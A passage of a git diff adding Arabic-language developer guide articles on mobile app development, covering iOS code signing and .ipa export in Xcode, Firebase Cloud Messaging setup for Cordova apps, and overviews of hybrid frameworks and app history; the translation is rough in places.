+التالي يتم عرض قائمة كشهادات قائمة الشهادات التي يمكن من خلالها اختيار واحد أو أكثر. هذه شهادات تطوير وليست شهادات توزيع. سيتم ربط ملف التخصيص الذي تم إنشاؤه بهذه الشهادات.
+
+عند النقر فوق "متابعة" ، يتم عرض قائمة تحقق بالأجهزة ، حدد واحدة أو مضاعفات أو الكل. لن يُسمح إلا للأجهزة المحددة بتشغيل التطبيق باستخدام ملف التخصيص هذا.
+
+بعد النقر فوق "متابعة" ، أدخل اسم ملف تعريف إدارة الحسابات ، وقم بتنزيل ملف .mobileprovision الذي تم إنشاؤه.
+
+## إنشاء ملف تعريف توفير التوزيع Adhoc
+
+هذه العملية هي نفس إنشاء ملف تعريف التطوير
+
+## إنشاء AppStore Distribution Provisioning Profile
+
+هذه العملية هي نفس عملية إنشاء الملف الشخصي للتنمية ، باستثناء هنا لا نختر الأجهزة ، لأن التطبيق سيكون متاحًا للجميع عبر AppStore.
+
+والآن بعد أن أصبح لدينا كل ما نحتاجه ، يمكننا الاستمرار في توليد ipa الفعلي باستخدام Xcode.
+
+_ملاحظة: الأمر cordova build يحول رمز التطبيق إلى مشروع xcode ، باستخدام Xcode نقوم بإنشاء ملف .ipa وهو التطبيق الفعلي المراد تثبيته._
+
+* * *
+
+efore المضي قدما مزدوج الصنبور على كلتا الشهادات لإضافتها إلى keychain
+
+## استمرار في Xcode
+
+بعد ذلك ، انقر نقرًا مزدوجًا فوق ملف xxododroj الذي يجب فتحه في Xcode. (يرجى استخدام أحدث إصدار من Xcode ، لقد استخدمت Xcode 8.3.2)
+
+![افتتاح المشروع في Xcode](https://image.ibb.co/mPdGKQ/Screen_Shot_2017_09_18_at_11_06_55_AM.png) يجب أن تبدو شاشة Xcode شيئًا كهذا.
+
+انقر على "اسم التطبيق" في أعلى الزاوية اليسرى للنافذة ، وهذا سيفتح العرض التفصيلي على الجانب الأيمن. ![إعدادات المشروع](https://image.ibb.co/fqb3ZQ/Screen_Shot_2017_09_18_at_5_07_53_PM.png)
+
+ثم انقر على "الأهداف" -> اسم التطبيق
+
+![أهداف](https://image.ibb.co/i0znTk/Screen_Shot_2017_09_18_at_5_11_28_PM.png)
+
+سيعرض هذا علامة تبويب التفاصيل التالية: ![تفاصيل الهدف](https://image.ibb.co/ksBj8k/Screen_Shot_2017_09_18_at_5_15_29_PM.png)
+
+Clik على العامة ، والتي يجب أن تعرض: ![التفاصيل العامة](https://image.ibb.co/k8KFEQ/Screen_Shot_2017_09_18_at_5_18_29_PM.png)
+
+ألغِ تحديد مربع الاختيار إدارة التوقيع تلقائيًا
+
+يجب أن يعرض هذا الخطأ التالي ، تفيد أن AppNAme يتطلب ملف تعريف توفير ![خطأ في الملف الشخصي](https://image.ibb.co/mDq5EQ/Screen_Shot_2017_09_18_at_5_20_35_PM.png)
+
+بعد ذلك ، ضمن التوقيع (تصحيح) ، انقر فوق قائمة _التوفير_ المنسدلة _للملف الشخصي وحدد_ خيار _ملف تعريف الملف الشخصي_ . في مربع حوار تحديد الملف الذي يظهر للملوثات المنبثقة ، انتقل إلى المسار الذي تم تنزيل ملف تخصيص التطوير فيه ، وحدده. سيكون لها امتداد _.mobileprovision_
+
+بعد التحديد ، يجب أن يختفي الخطأ ، ويجب أن يُظهر الفريق باسم الفريق في حساب Apple eveloper و Signing Certificate Name.
+
+افعل نفس الشيء في قسم التوقيع (الإصدار) ، ولكن في مربع حوار تحديد الملف ، قم بخلط ملف تخصيص التوزيع المخصص.
+
+الآن بعد أن يتم تنفيذ الخطوات توقيع رمز نحن إما
+
+*   قم بتشغيل التطبيق مباشرة على الجهاز
+*   تشغيل التطبيق على جهاز محاكاة
+*   توليد ملف ipa للتوزيع
+*   تحميل التطبيق إلى appstore
+
+## تشغيل التطبيق مباشرة على الجهاز
+
+لتشغيل التطبيق على الجهاز ، قم بتوصيل الجهاز بجهاز Mac عبر USB ، ثم في الزاوية العلوية اليسرى في قائمة الأجهزة حدد الجهاز cnnected ، وانقر فوق زر التشغيل أو التشغيل (زر مثلث أسود) ![تشغيل الجهاز](https://image.ibb.co/k4xo15/Screen_Shot_2017_09_18_at_5_34_14_PM.png) ![تشغيل الجهاز](https://image.ibb.co/hjzhuQ/Screen_Shot_2017_09_18_at_5_36_55_PM.png)
+
+سيتم عرض حالة البناء في شريط الحالة أعلى النافذة. إذا سارت الأمور على ما يرام ، فيجب تثبيت التطبيق على الجهاز ، وتحميله تلقائيًا من حين لآخر.
+
+## تشغيل التطبيق على جهاز محاكاة
+
+الخطوات مماثلة للتشغيل على الجهاز ، ولكن بدلاً من جهاز فعلي نستخدم أجهزة محاكاة iPhone و iPad المتاحة من قائمة الأجهزة.
+
+## إنشاء ملف ipa للتوزيع
+
+يمكن تنفيذ هذا الأسلوب في حالة احتياجك لتوزيع التطبيق على فريق الاختبار وما إلى ذلك. ومع ذلك ، يجب أن يشتمل الجهاز المستخدم من قبل على UDID في ملف تعريف إدارة الحسابات.
+
+من قائمة Xcode ، حدد `Product` -> `Clean` ، ثم `Product` -> `Archive` ، يظهر منظم الأرشيف ويعرض الأرشيف الجديد. ![منظم أرشيف ios](https://image.ibb.co/iunfMG/6_ios_archive_organizer_2x.png) في اللوحة اليمنى ، حدد خيار تصدير ، ستظهر علامة الاستفهام.
+
+لتوزيع تطبيقك على المستخدمين باستخدام الأجهزة المحددة ، حدد "حفظ للنشر المخصص". سيتم توقيع التطبيق بشهادة التوزيع.
+
+لتوزيع تطبيقك للاختبار الداخلي ، حدد "Save for Development Deployment". سيتم توقيع التطبيق بشهادة التطوير الخاصة بك. ![ios archive organizer export as ad hoc](https://image.ibb.co/jQJLMG/6_ios_createappstorepackage_1_2x.png)
+
+في مربع الحوار الذي يظهر ، اختر فريقًا من القائمة المنبثقة وانقر على اختيار. ![ios تصدير حدد فريق](https://image.ibb.co/gH2VMG/6_ios_export_choose_team_2x.png)
+
+بعد ذلك ، يظهر مربع حوار تحديد الجهاز حدد إما _كل الأجهزة_ أو _أجهزة محددة_ انقر فوق التالي.
+
+بعد ذلك يتم عرض مربع حوار المراجعة ، ستعرض هنا شهادة التوقيع وملف التعريف الشخصي المستخدم لإنشاء الإنشاء. مراجعة وانقر فوق التالي. وأخيرًا ، يتم حفظ الملف عند عرض نافذة منبثقة لتحديد الموقع في نظام الملفات لتخزين ملف التطبيق الذي تم تصديره.
+
+يتم تصدير التطبيق كملف \`\` .ipa\`\`\`.
+
+لتشغيل هذا الملف على الجهاز ، انقر نقرًا مزدوجًا عليه ، والذي سيفتحه على جهاز itunes.
+
+ثم قم بتوصيل جهازك (يجب أن يعرض هذا رمز جهاز صغير في الزاوية العلوية اليسرى من نافذة itunes) سيؤدي النقر عليها إلى إظهار ملخص الجهاز مثل التطبيقات والموسيقى وما إلى ذلك على الجهاز. اختر علامة تبويب التطبيقات في الجزء الأيسر ، حدد التطبيق المراد تثبيته وانقر فوق تثبيت. انتظر حتى تكتمل العملية ثم انقر فوق تطبيق ، هذا يجب تثبيت ملف ipa على جهازك.
+
+لتصحيح التطبيق: 1) افتح safari ، 2) افتح التطبيق على الجهاز 3) في شريط القائمة سفاري حدد `Develop --> Your Device Name --> Your App` .
+
+## هذا كل ما لدي أيها الناس !!!
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md b/client/src/guide/arabic/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
new file mode 100644
index 0000000000..f99e49d7f6
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/firebase-cloud-messaging-integration-for-cordova-hybrid-apps/index.md
@@ -0,0 +1,273 @@
+---
+title: Firebase Cloud Messaging Integration for Cordova Hybrid Apps
+localeTitle: Firebase Cloud Messaging Integration for Cordova Hybrid Apps
+---
+## Firebase Cloud Messaging Integration for Cordova Hybrid Apps
+
+هذه خطوة أساسية إلى الأمام مباشرة من خلال كيفية تنفيذ إشعار الدفع في Android وكذلك iOS باستخدام [المكوّن الإضافي cordova لـ fcm](https://github.com/fechanique/cordova-plugin-fcm) و Google Firebase FCM من البداية. سأستخدم Ubuntu 16.04 LTS لهذا ، ولكن نظام التشغيل المستخدم في التطوير لا ينبغي أن يكون له أهمية كبيرة.
+
+## دمج FCM لتطبيقات كوردوفا الهجينة
+
+### تنفيذ Android
+
+قم بإنشاء مجلد فارغ pushSample
+
+ `cd '/opt/lampp/htdocs' 
+ mkdir pushSample 
+ cd pushSample 
+ cordova create pushSample 
+ cd pushSample 
+ cordova platform add android 
+ cordova plugin add cordova-plugin-FCM 
+` 
+
+أثناء إضافة المكوّن الإضافي Cordova FCM ، سيظهر خطأ:
+
+ `Error: cordova-plugin-fcm: You have installed platform android but file 'google-services.json' was not found in your Cordova project root folder. 
+` 
+
+ملاحظة: يرجع ذلك إلى أننا لم نضف ملف google-services.json الذي يجب إنشاؤه في الخطوات التالية.
+
+بعد ذلك افتح [وحدة التحكم](https://console.firebase.google.com/) في [google firebase وأضف](https://console.firebase.google.com/) مشروعًا (يعني أساسًا إنشاء مشروع جديد)
+
+بمجرد إنشاء المشروع ، انقر على قسم الإشعارات في اللوحة الجانبية اليسرى.
+
+انقر الآن على رمز **Android** لإضافة دعم **نظام Android** إلى مشروعنا.
+
+في النموذج المنبثق التالي ، املأ التفاصيل كما يلي: **اسم حزمة Android: اسم** الحزمة أو معرفها هو المعرف الفريد لأحد التطبيقات في متجر Play. لاحظ أنها قيمة مهمة جدًا لا يمكن تغييرها لأحد التطبيقات بمجرد تحميلها إلى متجر Play. سيكون في بناء جملة اسم النطاق العكسي: على سبيل المثال ، سيكون لدى hello.pushSample.com معرف التطبيق: com.pushSample.hello. أيضا في ملف **config.xml** في مشروع كوردوفا الخاص بك تعيين معرف التطبيق نفسه. لمشروع العينة لدينا سيكون في: pushSample / pushSample / config.xml على سبيل المثال بالنسبة لي محتويات هذا الملف هي:
+
+ `<?xml version='1.0' encoding='utf-8'?> 
+ <widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>HelloCordova</name> 
+    <description> 
+        A sample Apache Cordova application that responds to the deviceready event. 
+    </description> 
+    <author email="dev@cordova.apache.org" href="http://cordova.io"> 
+        Apache Cordova Team 
+    </author> 
+    <content src="index.html" /> 
+    <plugin name="cordova-plugin-whitelist" spec="1" /> 
+    <access origin="*" /> 
+    <allow-intent href="http://*/*" /> 
+    <allow-intent href="https://*/*" /> 
+    <allow-intent href="tel:*" /> 
+    <allow-intent href="sms:*" /> 
+    <allow-intent href="mailto:*" /> 
+    <allow-intent href="geo:*" /> 
+    <platform name="android"> 
+        <allow-intent href="market:*" /> 
+    </platform> 
+    <platform name="ios"> 
+        <allow-intent href="itms:*" /> 
+        <allow-intent href="itms-apps:*" /> 
+    </platform> 
+ </widget> 
+` 
+
+لاحظ العلامة
+
+ `<widget id="io.cordova.hellocordova" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+` 
+
+هنا هوية السمة هو **معرف** حزمة والتي سوف يكون افتراضيا **io.cordova.hellocordova** تغييره إلى معرف التطبيق الذي قمت بتحديده في وحدة تحكم firebase. سوف أستخدم com.pushSample.hello
+
+الحقل التالي المراد ملؤه في النافذة المنبثقة لوحدة التحكم في firebase هو:
+
+**لقب التطبيق (اختياري):** يمكن أن يكون هذا هو نفس اسم التطبيق الذي يتم عرضه في قائمة التطبيق ، ويمكن أيضًا تغيير هذا في config.xml ، بشكل افتراضي سيكون HelloCordova ، سأقوم بتحديثه إلى **PushSample**
+
+**شهادة توقيع Debug SHA-1 (اختياري):** هذا اختياري ، يرجى تركه فارغًا.
+
+انقر بعد ذلك على **تطبيق التسجيل**
+
+الخطوة التالية هي تنزيل ملف **google services json** .
+
+![تنزيل خدمات جوجل](https://preview.ibb.co/nEjbwv/1_Wje_TClf8o9z_Dxw3_W_wkpw.png)
+
+انقر فوق الزر **تنزيل google-services.json** ، والذي يجب أن يقوم بتنزيل الملف على جهاز الكمبيوتر الخاص بك.
+
+بمجرد حصولك على الملف ، الصقه في المجلد الجذر لمشروع Cordova الخاص بك ، في حالتي:
+
+ `/opt/lampp/htdocs/pushSample/pushSample 
+` 
+
+المقبل بناء المشروع
+
+ `cordova build android 
+` 
+
+بعد إضافة ملف google-services.json ، يجب أن يتم إنشاؤه بنجاح.
+
+بعد ذلك ، يتعين علينا كتابة رمز جانب العميل للتعامل مع إشعارات الدفع:
+
+ `FCMPlugin.getToken(function(token) { 
+    //this is the FCM token which can be used 
+    //to send notification to specific device 
+    console.log(token); 
+    //FCMPlugin.onNotification( onNotificationCallback(data), successCallback(msg), errorCallback(err) ) 
+    //Here you define your application behaviour based on the notification data. 
+    FCMPlugin.onNotification(function(data) { 
+        console.log(data); 
+        //data.wasTapped == true means in Background :  Notification was received on device tray and tapped by the user. 
+        //data.wasTapped == false means in foreground :  Notification was received in foreground. Maybe the user needs to be notified. 
+        // if (data.wasTapped) { 
+        //     //Notification was received on device tray and tapped by the user. 
+        //     alert(JSON.stringify(data)); 
+        // } else { 
+        //     //Notification was received in foreground. Maybe the user needs to be notified. 
+        //     alert(JSON.stringify(data)); 
+        // } 
+    }); 
+ }); 
+` 
+
+يقوم الرمز أولاً باستدعاء الدالة **getToken** للحصول على رمز FCM المميز من firebase ، ثم في معاودة الاتصال يقوم بتسجيل رد **اتصال** آخر على **Notification** لمعالجة ما يحدث عند تلقي إعلام الدفع.
+
+**تحتوي** الدالة **onNotification** على قيمة بيانات تحتوي على بيانات الإشعار. data.wasTapped يشير إلى ما إذا كان يتم إرسال الإشعار عندما يكون التطبيق في المقدمة أو الخلفية ، بحيث يمكننا تحديد منطق منفصل لكل حالة. الآن لإطلاق نموذج إخطار الدفع ، انقر على قسم الإشعارات في اللوحة الجانبية اليسرى ، يجب أن يعرض عليك الآن ملحن إخطار Firebase ، ويعرض قائمة بالإعلامات السابقة المرسلة.
+
+في حال لم ترسل أي إشعارات دفع بعد. سترى زر **إرسال إشعارك الأول** .
+
+**ملاحظة:** سيبدو ملحن الإشعار بالشكل التالي:
+
+![أرسل إشعارك الأول](https://preview.ibb.co/b4qc3a/1_s_W2_Ad_QJz_JEFjto6rz1_8r_A.png)
+
+ملاحظة أثناء إرسال إعلام الدفع باستخدام وحدة التحكم في **firebase ،** يجب تحديد اسم التطبيق **com.pushSample.hello** في حالتي.
+
+لإرسال بيانات مخصصة للتطبيق المخصص ، حدد خيارات التقدم -> أزواج القيم الرئيسية.
+
+![خيارات متقدمة](https://preview.ibb.co/ensbUF/1_qp9_Mz_XBZvn_PYawyo0_TQBRA.png)
+
+سيظهر كائن البيانات في رد الاتصال onNotification على النحو التالي
+
+ `{myKey2: "valuefor2", myKey: "valuefor1", wasTapped: false} 
+` 
+
+لاحظ أيضًا أنه عند إرسال إشعارات الدفع باستخدام واجهات برمجة تطبيقات REST من خادم تطبيقاتك بدلاً من ملحن إخطار Firebase ، يجب عليك استخدام البنية التالية:
+
+ `//POST: https://fcm.googleapis.com/fcm/send 
+ //HEADER: Content-Type: application/json 
+ //HEADER: Authorization: key=AIzaSy******************* 
+ { 
+  "notification":{ 
+    "title":"Notification title", 
+    "body":"Notification body", 
+    "sound":"default", 
+    "click_action":"FCM_PLUGIN_ACTIVITY", 
+    "icon":"fcm_push_icon" 
+  }, 
+  "data":{ 
+    "param1":"value1", 
+    "param2":"value2" 
+  }, 
+    "to":"/topics/topicExample", 
+    "priority":"high", 
+    "restricted_package_name":"" 
+ } 
+ //sound: optional field if you want sound with the notification 
+ //click_action: must be present with the specified value for Android 
+ //icon: white icon resource name for Android >5.0 
+ //data: put any "param":"value" and retreive them in the JavaScript notification callback 
+ //to: device token or /topic/topicExample 
+ //priority: must be set to "high" for delivering notifications on closed iOS apps 
+ //restricted_package_name: optional field if you want to send only to a restricted app package (ie: com.myapp.test) 
+` 
+
+**ملاحظة: " _إجراء_ النقر _":_ يُعد** حقل **_"FCM_ PLUGIN\_ACTIVITY"** مهمًا جدًا لأن عدم الإشارة إليه لن يؤدي إلى تنفيذ معاودة onNotification في وضع المقدمة.
+
+![مع تنفيذ الروبوت](https://image.ibb.co/gRS1UF/0_QIzc_JZH9_Nqzpjygg.jpg)
+
+### تطبيق iOS
+
+بالنسبة إلى تطبيق iOS ، سنحتاج إلى إنشاء الأشياء التالية في [صفحة مطور Apple.](https://developer.apple.com/) أنا أستخدم XCODE 8.3
+
+معرف التطبيق: com.example.app مفتاح مصادقة إخطار الدفع من Apple (مفتاح مصادقة APN) تم توفير ملف تخصيص التزويد مع إعلامات الدفع. شهادات APNs
+
+كما تعد [مستندات Firebase لإشعارات الدفع](https://firebase.google.com/docs/cloud-messaging/ios/client) نقطة بداية ممتازة في العمق.
+
+ملاحظة: لا يمكنك تشغيل إشعارات الدفع في المحاكي ، ستحتاج إلى جهاز فعلي.
+
+هيا نبدأ.
+
+أولاً ، سجّل الدخول إلى وحدة تحكم مطور البرامج ، وحدد مشروعًا حاليًا أو أنشئ مشروعًا جديدًا ، وسنستخدم نفس مشروع pushSample. في نظرة عامة على المشروع ، أضف تطبيقًا آخر باستخدام نظام التشغيل iOS كنظام أساسي. في النافذة المنبثقة التي تظهر ، أدخل التفاصيل التالية:
+
+*   الخطوة 1 **معرِّف الحزمة:** هذا هو المعرِّف الفريد الذي يتم استخدامه لتحديد تطبيق في متجر apple ، يجب أن يكون هذا هو نفس معرف الحزمة الذي ستحدده في ملف config.xml لملف Cordova أو قسم Bundle Id في xCode. سنستخدم **com.pushSample.hello** **اسم التطبيق** : هذا هو اسم معرف معرف الخيار ، سنستخدم نفس الاسم الذي سيتم عرضه في قائمة تطبيق iOS وهو PushSample. **رقم تعريف متجر التطبيقات** : اترك هذا فارغًا.
+
+بمجرد النقر على تطبيق السجل ، تظهر خطوة تطبيق iOS 2.
+
+*   الخطوة 2 انقر هنا على زر تنزيل **Googleservice-info.plist** لتنزيل الملف الذي **سنستخدمه** في الخطوات التالية.
+
+**الخطوة 3 والخطوة 4** يمكننا التخطي حيث سيتم التعامل مع هذه داخليا بواسطة البرنامج المساعد Cordova FCM.
+
+بمجرد إضافة تطبيق iOS إلى مشروعك ، انقر فوق رمز الترس إلى جانب الملصقة العامة في اللوحة الجانبية اليسرى وحدد إعدادات المشروع. (راجع الصورة أدناه.). يجب أن يتم فتح علامة التبويب "عام" الخاصة بإعدادات المشروع بشكل افتراضي.
+
+![إعدادات المشروع](https://preview.ibb.co/ddcwwv/1_c_Pee_Xdmf76l_W0_YRr_I83_Log.png)
+
+انقر بعد ذلك على تطبيق iOS الخاص بك في تطبيقاتك -> تطبيقات iOS. في تفاصيل تطبيق iOS ، قم بتحديث **بادئة معرف التطبيق** ، وهي القيمة التي ستحصل عليها في مركز أعضاء Apple ضمن علامة التبويب العضوية.
+
+انتقل الآن إلى علامة التبويب **Cloud Messaging** -> قسم تهيئة تطبيق iOS.
+
+![الرسائل السحابية](https://preview.ibb.co/m2Ktbv/1_0p_Vvf_JGYb_TEUIhwr_DIek_Q.png)
+
+هنا ، كما ناقشنا سابقًا ، قم بتحميل مفتاح APNs Auth الذي أنشأته في مركز عضو Apple. بعد ذلك نقوم بإعداد تطبيق جانب العميل. إنشاء مجلد جديد sampleApp في مجلد التطوير الخاص بك ، بالنسبة لي هو
+
+ `/Volumes/Development/ 
+` 
+
+لذلك سيكون المجلد الجديد
+
+ `/Volumes/Development/pushSample 
+ cd /Volumes/Development/pushSample 
+` 
+
+إنشاء مشروع جديد Cordova ، **ملاحظة: استخدم sudo إذا لزم الأمر**
+
+ `cordova create pushSample 
+ cd pushSample 
+` 
+
+أضف الآن أحدث نظام iOS
+
+ `sudo cordova platform add ios 
+` 
+
+الآن قم بلصق ملف **Googleservice-info.plist** الذي تم تنزيله مسبقًا في المجلد الجذر لمشروع Cordova ، وهو كذلك
+
+ `/Volumes/Development/pushSample/pushSample 
+` 
+
+إضافة البرنامج المساعد Cordova FCM.
+
+ `cordova plugin add cordova-plugin-fcm 
+` 
+
+حدِّث معرف التطبيق الافتراضي واسم التطبيق بمعرف الحزمة الذي قررناه سابقًا أثناء تهيئة وحدة التحكم في Firebase واسم التطبيق.
+
+ `<widget id="com.pushSample.hello" version="1.0.0" xmlns="http://www.w3.org/ns/widgets" xmlns:cdv="http://cordova.apache.org/ns/1.0"> 
+    <name>PushSample</name> 
+` 
+
+في هذه المرحلة ، سيحتوي نموذج التعليمة البرمجية على ملف app.js ، والذي يمكنك تعديله وإضافة وظائف getToken و onNotification مثل android. شفرة javascript هي نفسها لكلا المنصتين.
+
+التالي تشغيل الأمر بناء cordova
+
+ `sudo cordova build ios 
+` 
+
+بمجرد نجاح أمر بناء cordova ، افتح التطبيق في xcode. للقيام بذلك ، افتح الملف xcode.proj الذي سيكون موجودًا في
+
+ `your_cordova_project/platforms/ios/app_name.xcodeproj 
+` 
+
+بالنسبة لي هو
+
+ `/Volumes/Development/pushSample/pushSample/platforms/ios/PushSample.xcodeproj 
+` 
+
+![مشروع Xcode](https://preview.ibb.co/hePLOa/1_Xe_Kh4_VXU_o_BQ05_UGRa_B6_A.png)
+
+التالي تمكين إعلامات الدفع في علامة التبويب قدرات المشروع.
+
+قم بتوصيل جهاز فعلي وتشغيل التطبيق.
+
+الآن إطلاق إشعار الدفع من الملحن الإخطار firebase وكل شيء يجب أن تعمل ... ![سعيد سعيد](https://image.ibb.co/jz8VOa/1vnhjv.jpg)
+
+[المشاركة الأصلية على Medium](https://medium.com/@t1tan1um/fcm-integration-for-cordova-hybrid-apps-c679f5fc1988) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/index.md b/client/src/guide/arabic/mobile-app-development/index.md
new file mode 100644
index 0000000000..dbd420c0e3
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Mobile Application Development
+localeTitle: تطوير تطبيقات الهاتف المحمول
+---
+## تطوير تطبيقات الهاتف المحمول
+
+![تطبيقات هجينة](https://preview.ibb.co/chfPGv/Whats_App_Image_2017_09_11_at_12_48_41_PM.jpg)
+
+يحتوي هذا القسم على مقالات ذات صلة بتطبيقات Mobile Hybrid Applications باستخدام أطر عمل مثل Apache Cordova و Ionic Framework و React Native.
+
+## ميزة وعيوب من التطبيق الهجين مقابل الهجين
+
+التطبيق الأصلي
+
+*   تم تصميمه لنظام تشغيل محدد ولا يمكن الوصول إليه إلا من متجر التطبيقات المخصص. لا يمكن الوصول إلى تطبيق Android إلا من قبل مستخدمي Android ويتم تطويره باستخدام جافا ، و Windows ، و C ++ وما إلى ذلك. تطبيق iOS باستخدام XCode / Objective-C إلخ.
+*   تكاليف التطوير والجهد أعلى
+
+تعريف التطبيق المختلط
+
+*   يستخدم حاوية متصفح الجهاز الأصلي للاحتواء على تطبيق HTML5.
+*   تطوير التطبيق الهجين هو ثابت ، واجهة المستخدم عبر منصة.
+
+تكلفة التطوير والوقت
+
+تستغرق التطبيقات المختلطة مقدارًا من الوقت والمال على الأقل لتطويرها مقارنة بالتطبيق المحلي. رمز واحد لكلا المنصتين.
+
+تجربة المستخدم
+
+توفر التطبيقات الأصلية أفضل تجربة للمستخدم من حيث الشكل والمظهر المترابطين على مستوى الجهاز المحدد. أداء أفضل للتطبيقات الأصلية مقارنة بالتطبيق المختلط
+
+### اباتشي كوردوفا
+
+Apache Cordova هو المجمع الذي يلف HTML ، CSS ، وجافا سكريبت في حزمة متنقلة قابلة للتنفيذ ، تعمل بمثابة السحر الذي يلصق كل شيء معًا ويحوله إلى تطبيق جوّال
+
+### الايوني الاطار
+
+الإطار الأيوني عبارة عن إطار CSS يتيح لك تصميم شاشتك بحيث تبدو متوافقة مع الجوّال ، والتي تعمل أساسًا كقاعدة تمهيدية ولكن لتطبيقات الجوال أثناء التطوير باستخدام تقنيات الويب.
+
+### تتفاعل الأصلية
+
+React Native هو إطار تطوير الواجهة الأمامية الذي يحتوي على الكثير من عناصر كتلة البناء لتطوير Android / iOS وهو نوع مختلف من السحر من Apache Cordova
+
+### NativeScript
+
+تم إنشاء تطبيقات NativeScript ، التي تم إنشاؤها في الأصل بواسطة تطبيق التقدم ، باستخدام جافا سكريبت ، أو باستخدام أي لغة تنتقل إلى جافا سكريبت ، مثل TypeScript ، على سبيل المثال. يدعم NativeScript بشكل مباشر كلاً من أطر Angular و Vue عبر مكون إضافي تم تطويره من قبل المجتمع. تنتج تطبيقات الجوال التي تم إنشاؤها باستخدام NativeScript تطبيقات أصلية بالكامل ، تستخدم نفس واجهات برمجة التطبيقات كما لو تم تطويرها في Xcode أو Android Studio.
+
+### رفرفة
+
+رفرفة هو إطار تطوير المحمول عبر منصة من جوجل ، ط ، ه يمكن استخدامه لإنشاء كل من تطبيقات ios و Android بكل سهولة. ويستخدم دارت لغته الأساسية. تساعد ميزة إعادة التحميل الساخن في تسريع عملية التطوير بشكل عام. تنتج الرفرفة تطبيقات أصلية حقيقية كما هو الحال في React Native على عكس Cordova و Ionic و Cordova التي تنتج تطبيقات مختلطة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/mobile-app-development-definition/index.md b/client/src/guide/arabic/mobile-app-development/mobile-app-development-definition/index.md
new file mode 100644
index 0000000000..a710c573d7
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/mobile-app-development-definition/index.md
@@ -0,0 +1,25 @@
+---
+title: What Is A Mobile Application? 
+localeTitle: ما هو تطبيق المحمول؟
+---
+إليك تعريف ويكيبيديا:
+
+تطبيق المحمول (أو تطبيق الجوال) هو تطبيق برمجي مصمم للتشغيل على الهواتف الذكية وأجهزة الكمبيوتر اللوحية وغيرها من الأجهزة المحمولة.
+
+جميلة جدا حتى ذلك الحين؟ ليس تماما. يبدأ تاريخ تطبيق الجوال ، بالطبع ، مع تاريخ الجهاز المحمول وأول الهواتف المحمولة التي تتطلب رقائقها الدقيقة أكثر البرامج الأساسية لإرسال واستقبال المكالمات الصوتية. ولكن منذ ذلك الحين أصبحت الأمور أكثر تعقيدًا. تطبيق المحمول أو التطبيق المحمول هو تطبيق البرمجيات. في الأساس ، هو برنامج تم إنشاؤه بواسطة الكمبيوتر تم تصميمه وتطويره ليعمل على أجهزة iPhone والهواتف الذكية والأجهزة اللوحية والعديد من الأجهزة المحمولة الأخرى. من دون شك ، لقد قبل العالم حقيقة أن التطبيقات هي الطريقة للحصول على معظم الهواتف الذكية. لذلك ، سيتم تثبيته لتتبع علامات التاريخ لتطوير تطبيقات الجوال.
+
+### أين بدأ كل هذا؟
+
+في اليوم الثالث من أبريل 1973 ، تم إجراء أول مكالمة هاتفية بواسطة مارتن كوبر من موتورولا للدكتور جويل س. إنجل من مختبرات بيل. وزن هذا الجهاز أو الأداة 1.1 كجم وقياس (23 × 13 × 4.45) سم. واستغرق الأمر عقدين من البحث والتطوير (R & D) للحصول على أول تطبيق للهاتف المحمول للهواتف الذكية ، والائتمان يذهب إلى IBM Simon ، الذي قدم العالم مع أول تطبيقات المحمول للهواتف الذكية.
+
+### ما الذي يجعل تطبيقات الهاتف المحمول شعبية جدا؟
+
+يمتلك معظم الأشخاص هواتف ذكية وأجهزة iPhones اليوم ، لذا يسهل الوصول إلى التطبيقات وجعل حياتك أفضل نتيجة لذلك. هناك الملايين من تطبيقات الجوال في الوقت الحالي. للحصول على أمثلة ، تطبيقات الشبكات الاجتماعية والسفر والصحة والبنوك واللياقة البدنية والتقاويم والألعاب والأخبار وأكثر من ذلك بكثير. يضيف متجر Apple App أكثر من 20000 تطبيق شهريًا.
+
+### Mobile App App Timeline
+
+إن تطوير تطبيقات الهاتف المحمول ليس فقط من الأعمال الرائدة في الوقت الحالي ، ولكنه أيضًا مصدر الدخل لكثير من الأفراد في جميع أنحاء العالم. خذ واتسآب. تم تطوير هذا التطبيق الصغير وأحدث ثورة في التواصل العالمي ، وهو الآن جزء من أكبر شبكة اجتماعية وأكثرها شعبية ، وفي الوقت نفسه يكافئ مالكيها بملايين الدولارات. ما لا يدركه مالكو النشاط التجاري عندما يطلبون من صناعة تطوير التطبيقات هي الجداول الزمنية التي يجب أن يراعيها كلا الطرفين لتطوير التطبيق. من خلال هذه المقالة ، نعتزم توضيح المفاهيم الخاطئة التي يملكها العملاء في عملية تطوير التطبيق. تطوير التطبيق ليس لعبة الطفل. إنها تتطلب قدراً كبيراً من التفكير النقدي ، والبحث ، وتحليل السوق قبل التطوير. كل هذا يستغرق وقتا.
+
+### كيف يمكنك البدء في صنع التطبيقات؟
+
+هناك العديد من الأدوات المتاحة لك والتي يمكنك من خلالها البدء في إنشاء تطبيقاتك الخاصة. الأكثر شيوعًا هو Android Studio الذي يستخدم جافا و XML. يتيح لك XCode إنشاء تطبيقات لنظام iOS. لكن هذه التطبيقات تتطلب كمية لا بأس بها من معرفة البرمجة. لجميع المبتدئين هناك ، يأتي MIT AppInventor 2 إلى الإنقاذ. مع البرمجة المبنية على الكتل البسيطة ، يمكن للمرء بسهولة التعليمة البرمجية وجعل التطبيقات الخاصة به سهلة للغاية ونشرها للآخرين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mobile-app-development/mobile-app-development-distribution/index.md b/client/src/guide/arabic/mobile-app-development/mobile-app-development-distribution/index.md
new file mode 100644
index 0000000000..473ef0afad
--- /dev/null
+++ b/client/src/guide/arabic/mobile-app-development/mobile-app-development-distribution/index.md
@@ -0,0 +1,19 @@
+---
+title: Distribution of mobile app development
+localeTitle: توزيع تطوير التطبيق المحمول
+---
+### توزيع
+
+أكبر متجرين للتطبيقات هما Google Play for Android و App Store لنظام التشغيل iOS.
+
+#### تطبيقات جوجل
+
